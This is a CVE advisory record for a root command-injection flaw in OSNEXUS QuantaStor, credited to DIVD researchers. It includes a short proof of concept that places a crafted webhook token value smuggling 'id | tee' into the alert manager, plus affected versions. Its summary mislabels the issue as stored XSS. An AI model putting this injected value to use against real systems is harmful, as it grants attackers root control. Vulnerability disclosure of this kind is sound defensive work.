CVE-2021-4406 (GCVE-0-2021-4406)
Vulnerability from cvelistv5 – Published: 2023-07-10 06:29 – Updated: 2025-09-24 15:46
VLAI?
Title
Authenticated Remote COmmand Execution as root in OSNEXUS QuantaStor version 6.0.0.355 and others
Summary
An authenticated attacker is able to create alerts that trigger a stored XSS attack.
POC
* go to the alert manager
* open the ITSM tab
* add a webhook with the URL/service token value
' -h && id | tee /tmp/ttttttddddssss #' (whitespaces are tab characters)
* click add
* click apply
* create a test alert
* The test alert will run the command
“id | tee /tmp/ttttttddddssss” as root.
* after the test alert inspect
/tmp/ttttttddddssss it'll contain the ids of the root user.
Severity ?
9.1 (Critical)
CWE
- CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
Assigner
References
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Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| OSNEXUS | QuantaStor |
Affected:
0 , ≤ 6.0.0.355
(semver)
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Credits
Wietse Boonstra (DIVD)
Frank Breedijk (DIVD)
Victor Pasman (DIVD)
Victor Gevers (DIVD)
Max van der Horst (DIVD)
Célistine Oosting (DIVD)
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Nomenclature
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